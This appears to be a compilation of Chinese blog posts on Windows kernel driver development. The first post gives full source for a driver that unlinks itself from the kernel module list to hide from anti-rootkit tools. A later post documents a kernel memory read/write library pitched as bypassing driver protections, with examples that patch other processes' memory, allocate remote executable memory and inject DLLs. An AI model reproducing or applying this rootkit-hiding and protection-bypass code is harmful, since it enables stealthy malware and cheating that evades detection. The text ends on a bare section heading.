与断链隐藏进程功能类似,关于断链进程隐藏可参考《驱动开发:DKOM 实现进程隐藏》这一篇文章,断链隐藏驱动自身则用于隐藏自身SYS驱动文件,当驱动加载后那么使用ARK工具扫描将看不到自身驱动模块,此方法可能会触发PG会蓝屏,在某些驱动辅助中也会使用这种方法隐藏自己。驱动实现代码如下所示:#include <ntifs.h> HANDLE hThread; VOID ThreadRun(PVOID StartContext) LARGE_INTEGER times; PDRIVER_OBJECT pDriverObject; // 等待3秒 单位是纳秒 times.QuadPart = -30 * 1000 * 1000; KeDelayExecutionThread(KernelMode, FALSE, &times); pDriverObject = (PDRIVER_OBJECT)StartContext; // 修改模块信息 pDriverObject->DriverSize = 0; pDriverObject->DriverSection = NULL; pDriverObject->DriverExtension = NULL; pDriverObject->DriverStart = NULL; pDriverObject->DriverInit = NULL; pDriverObject->FastIoDispatch = NULL; pDriverObject->DriverStartIo = NULL; ZwClose(hThread); VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint(("Uninstall Driver Is OK \n")); NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) DbgPrint(("hello lyshark \n")); PLIST_ENTRY pModuleList; pModuleList = Driver->DriverSection; // 前一个模块的Flink=本模块的Flink pModuleList->Blink->Flink = pModuleList->Flink; // 前一个模块的Blink=本模块的Blink pModuleList->Flink->Blink = pModuleList->Blink; PsCreateSystemThread(&hThread, GENERIC_ALL, NULL, NULL, NULL, ThreadRun, Driver); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }输出效果如下,驱动每隔3秒执行一次模块修改:

驱动开发:实现驱动加载卸载工具

驱动程序加载工具有许多,最常用的当属KmdManager工具,如果驱动程序需要对外发布那我们必须自己编写实现一个驱动加载工具,当需要使用驱动时可以拉起自己的驱动,如下将实现一个简单的驱动加载工具,该工具可以实现基本的,安装,加载,关闭,卸载等操作日常使用完全没问题。installDvr 驱动安装#include <iostream> #include <Windows.h> using namespace std; // 安装驱动 BOOL installDvr(CONST WCHAR drvPath[50], CONST WCHAR serviceName[20]) // 打开服务控制管理器数据库 SC_HANDLE schSCManager = OpenSCManager( NULL, // 目标计算机的名称,NULL:连接本地计算机上的服务控制管理器 NULL, // 服务控制管理器数据库的名称,NULL:打开 SERVICES_ACTIVE_DATABASE 数据库 SC_MANAGER_ALL_ACCESS // 所有权限 if (schSCManager == NULL) CloseServiceHandle(schSCManager); return FALSE; // 创建服务对象,添加至服务控制管理器数据库 SC_HANDLE schService = CreateService schSCManager, // 服务控件管理器数据库的句柄 serviceName, // 要安装的服务的名称 serviceName, // 用户界面程序用来标识服务的显示名称 SERVICE_ALL_ACCESS, // 对服务的访问权限:所有全权限 SERVICE_KERNEL_DRIVER, // 服务类型:驱动服务 SERVICE_DEMAND_START, // 服务启动选项:进程调用 StartService 时启动 SERVICE_ERROR_IGNORE, // 如果无法启动:忽略错误继续运行 drvPath, // 驱动文件绝对路径,如果包含空格需要多加双引号 NULL, // 服务所属的负载订购组:服务不属于某个组 NULL, // 接收订购组唯一标记值:不接收 NULL, // 服务加载顺序数组:服务没有依赖项 NULL, // 运行服务的账户名:使用 LocalSystem 账户 NULL // LocalSystem 账户密码 if (schService == NULL) CloseServiceHandle(schService); CloseServiceHandle(schSCManager); return FALSE; CloseServiceHandle(schService); CloseServiceHandle(schSCManager); return TRUE; int main(int argc, char *argv[]) if (installDvr(L"C:\\WinDDK.sys", L"service") == TRUE) cout << "驱动已安装" << endl; getchar(); return 0; }startDvr 启动驱动#include <iostream> #include <Windows.h> using namespace std; // 启动服务 BOOL startDvr(CONST WCHAR serviceName[20]) // 打开服务控制管理器数据库 SC_HANDLE schSCManager = OpenSCManager NULL, // 目标计算机的名称,NULL:连接本地计算机上的服务控制管理器 NULL, // 服务控制管理器数据库的名称,NULL:打开 SERVICES_ACTIVE_DATABASE 数据库 SC_MANAGER_ALL_ACCESS // 所有权限 if (schSCManager == NULL) CloseServiceHandle(schSCManager); return FALSE; // 打开服务 SC_HANDLE hs = OpenService schSCManager, // 服务控件管理器数据库的句柄 serviceName, // 要打开的服务名 SERVICE_ALL_ACCESS // 服务访问权限:所有权限 if (hs == NULL) CloseServiceHandle(hs); CloseServiceHandle(schSCManager); return FALSE; if (StartService(hs, 0, 0) == 0) CloseServiceHandle(hs); CloseServiceHandle(schSCManager); return FALSE; CloseServiceHandle(hs); CloseServiceHandle(schSCManager); return TRUE; int main(int argc, char *argv[]) if (startDvr(L"service") == TRUE) cout << "驱动服务" << endl; getchar(); return 0; }stopDvr 停止驱动#include <iostream> #include <Windows.h> using namespace std; // 停止服务 BOOL stopDvr(CONST WCHAR serviceName[20]) // 打开服务控制管理器数据库 SC_HANDLE schSCManager = OpenSCManager NULL, // 目标计算机的名称,NULL:连接本地计算机上的服务控制管理器 NULL, // 服务控制管理器数据库的名称,NULL:打开 SERVICES_ACTIVE_DATABASE 数据库 SC_MANAGER_ALL_ACCESS // 所有权限 if (schSCManager == NULL) CloseServiceHandle(schSCManager); return FALSE; // 打开服务 SC_HANDLE hs = OpenService schSCManager, // 服务控件管理器数据库的句柄 serviceName, // 要打开的服务名 SERVICE_ALL_ACCESS // 服务访问权限:所有权限 if (hs == NULL) CloseServiceHandle(hs); CloseServiceHandle(schSCManager); return FALSE; // 如果服务正在运行 SERVICE_STATUS status; if (QueryServiceStatus(hs, &status) == 0) CloseServiceHandle(hs); CloseServiceHandle(schSCManager); return FALSE; if (status.dwCurrentState != SERVICE_STOPPED && status.dwCurrentState != SERVICE_STOP_PENDING // 发送关闭服务请求 if (ControlService( hs, // 服务句柄 SERVICE_CONTROL_STOP, // 控制码:通知服务应该停止 &status // 接收最新的服务状态信息 ) == 0) { CloseServiceHandle(hs); CloseServiceHandle(schSCManager); return FALSE; // 判断超时 INT timeOut = 0; while (status.dwCurrentState != SERVICE_STOPPED) timeOut++; QueryServiceStatus(hs, &status); Sleep(50); if (timeOut > 80) CloseServiceHandle(hs); CloseServiceHandle(schSCManager); return FALSE; CloseServiceHandle(hs); CloseServiceHandle(schSCManager); return TRUE; int main(int argc, char *argv[]) if (stopDvr(L"service") == TRUE) cout << "停止驱动服务" << endl; getchar(); return 0; }unloadDvr 卸载驱动#include <iostream> #include <Windows.h> using namespace std; // 卸载驱动 BOOL unloadDvr(CONST WCHAR serviceName[20]) // 打开服务控制管理器数据库 SC_HANDLE schSCManager = OpenSCManager NULL, // 目标计算机的名称,NULL:连接本地计算机上的服务控制管理器 NULL, // 服务控制管理器数据库的名称,NULL:打开 SERVICES_ACTIVE_DATABASE 数据库 SC_MANAGER_ALL_ACCESS // 所有权限 if (schSCManager == NULL) CloseServiceHandle(schSCManager); return FALSE; // 打开服务 SC_HANDLE hs = OpenService schSCManager, // 服务控件管理器数据库的句柄 serviceName, // 要打开的服务名 SERVICE_ALL_ACCESS // 服务访问权限:所有权限 if (hs == NULL) CloseServiceHandle(hs); CloseServiceHandle(schSCManager); return FALSE; // 删除服务 if (DeleteService(hs) == 0) CloseServiceHandle(hs); CloseServiceHandle(schSCManager); return FALSE; CloseServiceHandle(hs); CloseServiceHandle(schSCManager); return TRUE; int main(int argc, char *argv[]) if (unloadDvr(L"service") == TRUE) cout << "卸载驱动服务" << endl; getchar(); return 0;

驱动开发:封装x64内核驱动读写

内核级别的内存读写可用于绕过各类驱动保护,从而达到强制读写对端内存的目的,本人闲暇之余封装了一个驱动级的内核读写接口,使用此接口可实现对远程字节,字节集,整数,浮点数,多级偏移读写等。如下将简单介绍该内核读写工具各类API接口是如何调用的,鉴于驱动读写商业价值较大故暂时不放出源码(后期考虑)。GitHUB项目地址:https://github.com/lyshark/LyMemory驱动读写首先要看的就是驱动支持的控制信号,如下是我封装的几个驱动控制器。// 通用读写系列 #define IOCTL_IO_ReadProcessMemory 0x801 #define IOCTL_IO_WriteProcessMemory 0x802 #define IOCTL_IO_ReadDeviationIntMemory 0x803 #define IOCTL_IO_WriteDeviationIntMemory 0x804 #define IOCTL_IO_ReadProcessMemoryByte 0x805 #define IOCTL_IO_WriteProcessMemoryByte 0x806 // 全局读写系列 #define IOCTL_IO_SetPID CTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_IO_ReadMemory CTL_CODE(FILE_DEVICE_UNKNOWN, 0x808, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_IO_WriteMemory CTL_CODE(FILE_DEVICE_UNKNOWN, 0x809, METHOD_BUFFERED, FILE_ANY_ACCESS) // 模块操作系列 #define IOCTL_IO_GetModuleAddress CTL_CODE(FILE_DEVICE_UNKNOWN, 0x810, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_IO_GetProcessID CTL_CODE(FILE_DEVICE_UNKNOWN, 0x811, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_IO_GetSystemRoutineAddr CTL_CODE(FILE_DEVICE_UNKNOWN, 0x812, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_IO_CreateAllocMemory CTL_CODE(FILE_DEVICE_UNKNOWN, 0x813, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_IO_RemoveAllocMemory CTL_CODE(FILE_DEVICE_UNKNOWN, 0x814, METHOD_BUFFERED, FILE_ANY_ACCESS) // 版本升级后的新功能 2022-09-24 #define IOCTL_IO_ReadDeviationMemory 0x815内核驱动读写类库在2022年9月24日升级了功能,函数列表功能一览。传统读写函数是每次都会附加到进程中,这种方式效率较低,但也还是可以使用的。// 读内存字节 BYTE ReadProcessMemoryByte(DWORD Pid, ULONG64 Address) // 写内存字节 BOOL WriteProcessMemoryByte(DWORD Pid, ULONG64 Address, BYTE bytef) // 读内存32位整数型 DWORD ReadProcessMemoryInt32(DWORD Pid, ULONG64 Address) // 读内存64位整数型 DWORD ReadProcessMemoryInt64(DWORD Pid, ULONG64 Address) // 写内存32位整数型 BOOL WriteProcessMemoryInt32(DWORD Pid, ULONG64 Address, DWORD write) // 写内存64位整数型 BOOL WriteProcessMemoryInt64(DWORD Pid, ULONG64 Address, DWORD write) // 读内存单精度浮点数 FLOAT ReadProcessMemoryFloat(DWORD Pid, ULONG64 Address) // 读内存双精度浮点数 DOUBLE ReadProcessMemoryDouble(DWORD Pid, ULONG64 Address) // 写内存单精度浮点数 BOOL WriteProcessMemoryFloat(DWORD Pid, ULONG64 Address, FLOAT write) // 写内存双精度浮点数 BOOL WriteProcessMemoryDouble(DWORD Pid, ULONG64 Address, DOUBLE write) // 读多级偏移32位整数型 INT32 ReadProcessDeviationInt32(ProcessDeviationIntMemory *read_offset_struct) // 读多级偏移64位整数型 INT64 ReadProcessDeviationInt64(ProcessDeviationIntMemory *read_offset_struct) // 写多级偏移32位整数型 BOOL WriteProcessDeviationInt32(ProcessDeviationIntMemory *write_offset_struct) // 写多级偏移64位整数型 BOOL WriteProcessDeviationInt64(ProcessDeviationIntMemory *write_offset_struct) // 读多级偏移32位内存地址 DWORD ReadDeviationMemory32(ProcessDeviationMemory *read_offset_struct) // 读多级偏移64位内存地址 DWORD64 ReadDeviationMemory64(ProcessDeviationMemory *read_offset_struct) // 读多级偏移字节型 BYTE ReadDeviationByte(ProcessDeviationMemory *read_offset_struct) // 读多级偏移单精度浮点数 FLOAT ReadDeviationFloat(ProcessDeviationMemory *read_offset_struct) // 写多级偏移字节型 BOOL WriteDeviationByte(ProcessDeviationMemory *write_offset_struct,BYTE write_byte) // 写多级偏移单精度浮点数 BOOL WriteDeviationFloat(ProcessDeviationMemory *write_offset_struct,FLOAT write_float)全局读写函数封装相对于传统驱动读写,虽然也传入PID但本质上可以SetPid只设置一次PID即可实现后续直接读写内存。// 设置全局进程PID BOOL SetPid(DWORD Pid) // 全局读内存 BOOL Read(DWORD pid, ULONG64 address, T* ret) // 全局写内存 BOOL Write(DWORD pid, ULONG64 address, T data) // 读内存DWORD void ReadMemoryDWORD(DWORD pid, ULONG64 addre, DWORD * ret) // 读内存DWORD64 void ReadMemoryDWORD64(DWORD pid, ULONG64 addre, DWORD64 * ret) // 读内存字节 void ReadMemoryBytes(DWORD pid, ULONG64 addre, BYTE **ret, DWORD sizes) // 读内存浮点数 void ReadMemoryFloat(DWORD pid, ULONG64 addre, float* ret) // 读内存双精度浮点数 void ReadMemoryDouble(DWORD pid, ULONG64 addre, double* ret) // 写内存字节 void WriteMemoryBytes(DWORD pid, ULONG64 addre, BYTE * data, DWORD sizes) // 写内存DWORD void WriteMemoryDWORD(DWORD pid, ULONG64 addre, DWORD ret) // 写内存DWORD64 void WriteMemoryDWORD64(DWORD pid, ULONG64 addre, DWORD64 ret) // 写内存浮点数 void WriteMemoryFloat(DWORD pid, ULONG64 addre, float ret) // 写内存双精度浮点数 void WriteMemoryDouble(DWORD pid, ULONG64 addre, double ret) // 驱动读取进程模块基地址 DWORD64 GetModuleAddress(DWORD pid, std::string dllname) // 根据进程名称获取进程PID DWORD GetProcessID(std::string procname) // 获取系统函数内存地址 DWORD64 GetSystemRoutineAddress(std::string funcname) // 在对端分配内存空间 DWORD64 CreateRemoteMemory(DWORD length) // 销毁对端内存 DWORD DeleteRemoteMemory(DWORD64 address, DWORD length)内核读/写字节集: 对远端指定内存地址出读写字节集数组,该功能可用于强制代码注入等。#define _CRT_SECURE_NO_WARNINGS #include <iostream> #include <Windows.h> #include <LyMemoryKernel.h> #pragma comment(lib,"user32.lib") #pragma comment(lib,"advapi32.lib") int main(int argc, char *argv[]) // 驱动类 cDrvCtrl DriveControl; // 安装驱动 DriveControl.InstallAndRun(); // 内存读字节集 BYTE buffer[8] = { 0 }; BYTE* bufferPtr = buffer; DriveControl.ReadMemoryBytes(2564, 0x7713639c, &bufferPtr, sizeof(buffer)); for (int x = 0; x < 8; x++) printf("读取字节: 0x%x \n", buffer[x]); // 卸载驱动 DriveControl.RemoveAndStop(); system("pause"); return 0; }内核读取字节集效果如下:与读取对应的一个函数是写入,写入代码如下。#define _CRT_SECURE_NO_WARNINGS #include <iostream> #include <Windows.h> #include <LyMemoryKernel.h> #pragma comment(lib,"user32.lib") #pragma comment(lib,"advapi32.lib") int main(int argc, char *argv[]) // 驱动类 cDrvCtrl DriveControl; // 安装驱动 DriveControl.InstallAndRun(); // 写内存字节集 BYTE writebuff[8] = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 }; DriveControl.WriteMemoryBytes(2564, 0x7713639c, writebuff, sizeof(writebuff)); // 卸载驱动 DriveControl.RemoveAndStop(); system("pause"); return 0; }写入后再次查看内存会发现已经变更了。读写内核数值类型: 数值类型包括了,整数,64位整数,浮点数,双精度浮点等类型。#define _CRT_SECURE_NO_WARNINGS #include <iostream> #include <Windows.h> #include <LyMemoryKernel.h> #pragma comment(lib,"user32.lib") #pragma comment(lib,"advapi32.lib") int main(int argc, char *argv[]) // 驱动类 cDrvCtrl DriveControl; // 安装驱动 DriveControl.InstallAndRun(); DWORD data; DWORD64 data64; FLOAT floats; DOUBLE doubles; // 读DWORD DriveControl.ReadMemoryDWORD(2564, 0x771362fc, &data); printf("dword = %d \n", data); // 读DWORD64 DriveControl.ReadMemoryDWORD64(2564, 0x771362fc, &data64); printf("dword = %d \n", data); printf("dword = %d \n", data+4); // 读取Float DriveControl.ReadMemoryFloat(2564, 0x771362fc, &floats); printf("float = %f \n", floats); // 读double DriveControl.ReadMemoryDouble(2564, 0x771362fc, &doubles); printf("double = %f \n", doubles); // 卸载驱动 DriveControl.RemoveAndStop(); system("pause"); return 0; }读数值类型效果:驱动写数值类型与读取类似,这里给出如何应用的案例。#define _CRT_SECURE_NO_WARNINGS #include <iostream> #include <Windows.h> #include <LyMemoryKernel.h> #pragma comment(lib,"user32.lib") #pragma comment(lib,"advapi32.lib") int main(int argc, char *argv[]) // 驱动类 cDrvCtrl DriveControl; // 安装驱动 DriveControl.InstallAndRun(); DWORD data; DWORD64 data64; FLOAT floats; DOUBLE doubles; // 写DWORD DriveControl.WriteMemoryDWORD(2564, 0x771362fc, 100); // 写DWORD64 DriveControl.WriteMemoryDWORD64(2564, 0x771362fc, 100); // 写Float DriveControl.WriteMemoryFloat(2564, 0x771362fc, 10.5); // 写double DriveControl.WriteMemoryDouble(2564, 0x771362fc, 100.5); // 卸载驱动 DriveControl.RemoveAndStop(); system("pause"); return 0; }结构体版读整数: 传递结构体解析参数读取。#define _CRT_SECURE_NO_WARNINGS #include <iostream> #include <Windows.h> #include <LyMemoryKernel.h> #pragma comment(lib,"user32.lib") #pragma comment(lib,"advapi32.lib") int main(int argc, char *argv[]) // 驱动类 cDrvCtrl DriveControl; // 安装驱动 DriveControl.InstallAndRun(); ProcessIntMemory write_struct; write_struct.pid = 6348; // 指定Pid write_struct.address = 0x748c405c; // 地址 write_struct.bytes_toread = 4; // 写入长度4字节 write_struct.data = 999; // 写入数据 DriveControl.IoControl(0x802, &write_struct, sizeof(write_struct), 0, 0, 0); ProcessIntMemory read_struct; read_struct.pid = 6348; // 指定Pid read_struct.address = 0x748c405c; // 地址 read_struct.bytes_toread = 2; // 读取长度4字节 read_struct.data = 0; // 读取的数据 DriveControl.IoControl(0x801, &read_struct, sizeof(read_struct), &read_struct, sizeof(read_struct), 0); std::cout << "read: " << (int)read_struct.data << std::endl; // 卸载驱动 DriveControl.RemoveAndStop(); system("pause"); return 0; }结构版本与类内函数调用方式不同,结构板需要手动调用控制器。结构版读写字节集: 同理与整数读写一致,需要调用控制器,传入控制信号以及结构体。#define _CRT_SECURE_NO_WARNINGS #include <iostream> #include <Windows.h> #include <LyMemoryKernel.h> #pragma comment(lib,"user32.lib") #pragma comment(lib,"advapi32.lib") int main(int argc, char *argv[]) // 驱动类 cDrvCtrl DriveControl; // 安装驱动 DriveControl.InstallAndRun(); ProcessByteMemory write_byte_struct; write_byte_struct.pid = 6348; write_byte_struct.base_address = 0x76295a04; write_byte_struct.OpCode = { 0x90 }; DriveControl.IoControl(0x806, &write_byte_struct, sizeof(write_byte_struct), 0, 0, 0); ProcessByteMemory read_byte_struct; BYTE read_byte = 0; for (int x = 0; x < 10; x++) read_byte_struct.pid = 6348; // 指定Pid read_byte_struct.base_address = 0x76295a04 + x; // 地址 DriveControl.IoControl(0x805, &read_byte_struct, sizeof(read_byte_struct), &read_byte, sizeof(read_byte), 0); if (read_byte == 0) break; printf("0x%02X ", read_byte); // 卸载驱动 DriveControl.RemoveAndStop(); system("pause"); return 0; }写入后在读取,效果如下:结构版多级偏移读写: 针对整数型读写的封装,增加了多级偏移读写机制。读写多级偏移整数型(最大32级)#define _CRT_SECURE_NO_WARNINGS #include <iostream> #include <Windows.h> #include <LyMemoryKernel.h> #pragma comment(lib,"user32.lib") #pragma comment(lib,"advapi32.lib") int main(int argc, char *argv[]) cDrvCtrl DriveControl; DriveControl.InstallAndRun(); ProcessDeviationIntMemory read_offset_struct; read_offset_struct.pid = 1468; // 进程PID read_offset_struct.base_address = 0x601660; // 基地址 read_offset_struct.offset_len = 4; // 偏移长度 read_offset_struct.data = 0; // 读入的数据 read_offset_struct.offset[0] = 0x18; // 一级偏移 read_offset_struct.offset[1] = 0x0; // 二级偏移 read_offset_struct.offset[2] = 0x14; read_offset_struct.offset[3] = 0x0c; DriveControl.IoControl(0x803, &read_offset_struct, sizeof(read_offset_struct), &read_offset_struct, sizeof(read_offset_struct), 0); std::cout << "read offset: " << read_offset_struct.data << std::endl; DriveControl.RemoveAndStop(); system("pause"); return 0; }读取结果:内核读取模块基地址: 内核中强制读取指定进程中模块的基地址。#define _CRT_SECURE_NO_WARNINGS #include <iostream> #include <Windows.h> #include <LyMemoryKernel.h> #pragma comment(lib,"user32.lib") #pragma comment(lib,"advapi32.lib") int main(int argc, char *argv[]) cDrvCtrl DriveControl; DriveControl.InstallAndRun(); DWORD64 dllbase = DriveControl.GetModuleAddress(952, "user32.dll"); printf("dllbase = 0x%016I64x \n", dllbase); DriveControl.RemoveAndStop(); system("pause"); return 0; }读取效果如下:根据进程名得到进程PID: 传入进程名,获取到该进程的PID序号。#define _CRT_SECURE_NO_WARNINGS #include <iostream> #include <Windows.h> #include <LyMemoryKernel.h> #pragma comment(lib,"user32.lib") #pragma comment(lib,"advapi32.lib") int main(int argc, char *argv[]) cDrvCtrl DriveControl; DriveControl.InstallAndRun(); DWORD pid = DriveControl.GetProcessID("dbgview64.exe"); printf("进程PID: %d \n", pid); DriveControl.RemoveAndStop(); system("pause"); return 0; }效果如下:获取系统函数内存地址: 获取SSDT内核函数的内存地址。#define _CRT_SECURE_NO_WARNINGS #include <iostream> #include <Windows.h> #include <LyMemoryKernel.h> #pragma comment(lib,"user32.lib") #pragma comment(lib,"advapi32.lib") int main(int argc, char *argv[]) cDrvCtrl DriveControl; DriveControl.InstallAndRun(); DWORD64 addr = DriveControl.GetSystemRoutineAddress("NtReadFile"); printf("模块地址: 0x%016I64x \n", addr); DriveControl.RemoveAndStop(); system("pause"); return 0; }效果如下:开辟释放堆空间: 在对端内存中开辟,或者释放堆空间,带有读写执行属性。#define _CRT_SECURE_NO_WARNINGS #include <iostream> #include <Windows.h> #include <LyMemoryKernel.h> #pragma comment(lib,"user32.lib") #pragma comment(lib,"advapi32.lib") int main(int argc, char *argv[]) cDrvCtrl DriveControl; DriveControl.InstallAndRun(); // 设置全局PID DriveControl.SetPid(952); // 开辟空间 DWORD64 ref = DriveControl.CreateRemoteMemory(1024); printf("create = %x \n", ref); DWORD del_flag = DriveControl.DeleteRemoteMemory(ref, 1024); printf("del flag = %d \n", del_flag); DriveControl.RemoveAndStop(); system("pause"); return 0; }效果如下:驱动级DLL注入: 注入DLL功能是驱动注入的一个功能,同样使用该控制器控制。#define _CRT_SECURE_NO_WARNINGS #include <iostream> #include <Windows.h> #include <LyMemoryKernel.h> #pragma comment(lib,"user32.lib") #pragma comment(lib,"advapi32.lib") int main(int argc, char *argv[]) cDrvCtrl DriveControl; DriveControl.InstallAndRun(); // 注入DLL到程序,支持32位与64位注入 DriveControl.InjectDll("dbgview64.exe", "c://test1.dll"); DriveControl.RemoveAndStop(); system("pause"); return 0; }效果如下:传统模式读写封装: 传统模式读写封装函数可对整数,浮点数,字节进行灵活读写。#define _CRT_SECURE_NO_WARNINGS #include <iostream> #include <Windows.h> #include <LyMemoryKernel.h> int main(int argc, char *argv[]) cDrvCtrl DriveControl; DriveControl.InstallAndRun(); DWORD ref = DriveControl.ReadProcessMemoryInt32(6056, 0x003AF4CC); printf("驱动读取:value = %d \n", ref); DWORD64 dref = DriveControl.ReadProcessMemoryInt64(6056, 0x003AF4CC); printf("驱动读取:value64 = %d \n", dref); FLOAT float_ref = DriveControl.ReadProcessMemoryFloat(6056, 0x01A1BC90); printf("驱动读取:value = %f \n", float_ref); FLOAT double_ref = DriveControl.ReadProcessMemoryDouble(6056, 0x01A1BC90); printf("驱动读取:value = %f \n", double_ref); BYTE byf = DriveControl.ReadProcessMemoryByte(6056, 0x01A1BC90); printf("驱动读取:value = %x \n", byf); for (size_t i = 0; i < 10; i++) BYTE byf1 = DriveControl.ReadProcessMemoryByte(6056, 0x01A1BC90 + i); printf("驱动读取:value = %x \n", byf1); system("pause"); return 0; }读取效果如下:写入功能与读取一致,这里以读写整数为案例。#define _CRT_SECURE_NO_WARNINGS #include <iostream> #include <Windows.h> #include <LyMemoryKernel.h> int main(int argc, char *argv[]) cDrvCtrl DriveControl; DriveControl.InstallAndRun(); // 写出9999 DriveControl.WriteProcessMemoryInt32(6056, 0x003AF4CC, 9999); // 读取测试 DWORD ref = DriveControl.ReadProcessMemoryInt32(6056, 0x003AF4CC); printf("驱动读取:value = %d \n", ref); system("pause"); return 0; }写出效果如下:内存多级偏移读写: 此功能并不是读写偏移中的数据,而是通过基地址计算出动态地址的一个函数,后续的读写可以自定义操作。#define _CRT_SECURE_NO_WARNINGS #include <iostream> #include <Windows.h> #include <LyMemoryKernel.h> int main(int argc, char *argv[]) cDrvCtrl DriveControl; DriveControl.InstallAndRun(); ProcessDeviationMemory read_offset_struct = { 0 }; read_offset_struct.pid = 3124; // 进程PID read_offset_struct.base_address = 0x6566e0; // 基地址 read_offset_struct.offset_len = 4; // 偏移长度 read_offset_struct.data = 0; // 读入的数据 read_offset_struct.offset[0] = 0x18; // 一级偏移 read_offset_struct.offset[1] = 0x0; // 二级偏移 read_offset_struct.offset[2] = 0x14; // 三级 read_offset_struct.offset[3] = 0x0c; // 四级 // 定位到动态地址 DWORD ref = DriveControl.ReadDeviationMemory32(&read_offset_struct); printf("计算出基地址:0x%x \n", ref); system("pause"); return 0; }定位内存地址如下:内存整数多级偏移读写: 一个简单的案例实现对内存整数型偏移读写。#define _CRT_SECURE_NO_WARNINGS #include <iostream> #include <Windows.h> #include <LyMemoryKernel.h> int main(int argc, char *argv[]) cDrvCtrl DriveControl; DriveControl.InstallAndRun(); // 写入内存偏移地址 ProcessDeviationIntMemory write_offset_struct = { 0 }; write_offset_struct.pid = 3124; // 进程PID write_offset_struct.base_address = 0x6566e0; // 基地址 write_offset_struct.offset_len = 4; // 偏移长度 write_offset_struct.data = 999; // 读入的数据 write_offset_struct.offset[0] = 0x18; // 一级偏移 write_offset_struct.offset[1] = 0x0; // 二级偏移 write_offset_struct.offset[2] = 0x14; write_offset_struct.offset[3] = 0x0c; // 写出 DriveControl.WriteProcessDeviationInt32(&write_offset_struct); // 读取写入后的地址 ProcessDeviationIntMemory read_offset_struct = { 0 }; read_offset_struct.pid = 3124; // 进程PID read_offset_struct.base_address = 0x6566e0; // 基地址 read_offset_struct.offset_len = 4; // 偏移长度 read_offset_struct.data = 0; // 读入的数据 read_offset_struct.offset[0] = 0x18; // 一级偏移 read_offset_struct.offset[1] = 0x0; // 二级偏移 read_offset_struct.offset[2] = 0x14; read_offset_struct.offset[3] = 0x0c; // 读入偏移整数 DWORD ref = DriveControl.ReadProcessDeviationInt32(&read_offset_struct); printf("当前偏移内的数据:%d \n", ref); system("pause"); return 0; }读写效果如下:读取多级偏移字节型: 读取偏移数据内的字节数据,可循环多次读写。#define _CRT_SECURE_NO_WARNINGS #include <iostream> #include <Windows.h> #include <LyMemoryKernel.h> int main(int argc, char *argv[]) cDrvCtrl DriveControl; DriveControl.InstallAndRun(); ProcessDeviationMemory read_offset_struct = { 0 }; read_offset_struct.pid = 3124; // 进程PID read_offset_struct.base_address = 0x6566e0; // 基地址 read_offset_struct.offset_len = 4; // 偏移长度 read_offset_struct.data = 0; // 读入的数据 read_offset_struct.offset[0] = 0x18; // 一级偏移 read_offset_struct.offset[1] = 0x0; // 二级偏移 read_offset_struct.offset[2] = 0x14; read_offset_struct.offset[3] = 0x0c; // 读取多级偏移字节 DWORD ref = DriveControl.ReadDeviationByte(&read_offset_struct); printf("%x \n", ref); for (size_t i = 0; i < 10; i++) read_offset_struct.pid = 3124; // 进程PID read_offset_struct.base_address = 0x6566e0 + i; // 基地址 read_offset_struct.offset_len = 4; // 偏移长度 read_offset_struct.data = 0; // 读入的数据 read_offset_struct.offset[0] = 0x18; // 一级偏移 read_offset_struct.offset[1] = 0x0; // 二级偏移 read_offset_struct.offset[2] = 0x14; read_offset_struct.offset[3] = 0x0c; // 读取多级偏移字节 DWORD ref = DriveControl.ReadDeviationByte(&read_offset_struct); printf("%x ", ref); system("pause"); return 0; }读取效果如下:写入多级偏移字节型: 如读取一致,传入偏移,以及写出的字节即可替代目标字节。#define _CRT_SECURE_NO_WARNINGS #include <iostream> #include <Windows.h> #include <LyMemoryKernel.h> int main(int argc, char *argv[]) cDrvCtrl DriveControl; DriveControl.InstallAndRun(); ProcessDeviationMemory write = { 0 }; write.pid = 3124; // 进程PID write.base_address = 0x6566e0; // 基地址 write.offset_len = 4; // 偏移长度 write.data = 0; // 读入的数据 write.offset[0] = 0x18; // 一级偏移 write.offset[1] = 0x0; // 二级偏移 write.offset[2] = 0x14; write.offset[3] = 0x0c; // 写内存字节 DriveControl.WriteDeviationByte(&write, 0x90); ProcessDeviationMemory read_offset_struct = { 0 }; read_offset_struct.pid = 3124; // 进程PID read_offset_struct.base_address = 0x6566e0; // 基地址 read_offset_struct.offset_len = 4; // 偏移长度 read_offset_struct.data = 0; // 读入的数据 read_offset_struct.offset[0] = 0x18; // 一级偏移 read_offset_struct.offset[1] = 0x0; // 二级偏移 read_offset_struct.offset[2] = 0x14; read_offset_struct.offset[3] = 0x0c; // 读取多级偏移字节 BYTE ref = DriveControl.ReadDeviationByte(&read_offset_struct); printf("读出数据:%x \n", ref); system("pause"); return 0; }写出后,原始指针失效:读取字节并反汇编: 运用反汇编引擎可实现对读出字节反汇编输出。#define _CRT_SECURE_NO_WARNINGS #include <iostream> #include <Windows.h> #include <LyMemoryKernel.h> #include <inttypes.h> #include <capstone/capstone.h> #pragma comment(lib,"capstone32.lib") int main(int argc, char *argv[]) cDrvCtrl DriveControl; DriveControl.InstallAndRun(); BYTE arr[1024] = { 0 }; for (size_t i = 0; i < 1023; i++) BYTE by = DriveControl.ReadProcessMemoryByte(3344, 0x402c00 + i); arr[i] = by; csh handle; cs_insn *insn; size_t count; int size = 1023; printf("By: LyShark \n\n"); // 打开句柄 if (cs_open(CS_ARCH_X86, CS_MODE_32, &handle) != CS_ERR_OK) return 0; // 反汇编代码,地址从0x1000开始,返回总条数 count = cs_disasm(handle, (unsigned char *)arr, size, 0x402c00, 0, &insn); if (count > 0) size_t index; for (index = 0; index < count; index++) for (int x = 0; x < insn[index].size; x++) // printf("机器码: %d -> %02X \n", x, insn[index].bytes[x]); printf("地址: 0x%"PRIx64" | 长度: %d 反汇编: %s %s \n", insn[index].address, insn[index].size, insn[index].mnemonic, insn[index].op_str); cs_free(insn, count); printf("反汇编返回长度为空 \n"); cs_close(&handle); system("pause"); return 0; }反汇编效果:

驱动开发:内核CR3切换读写内存

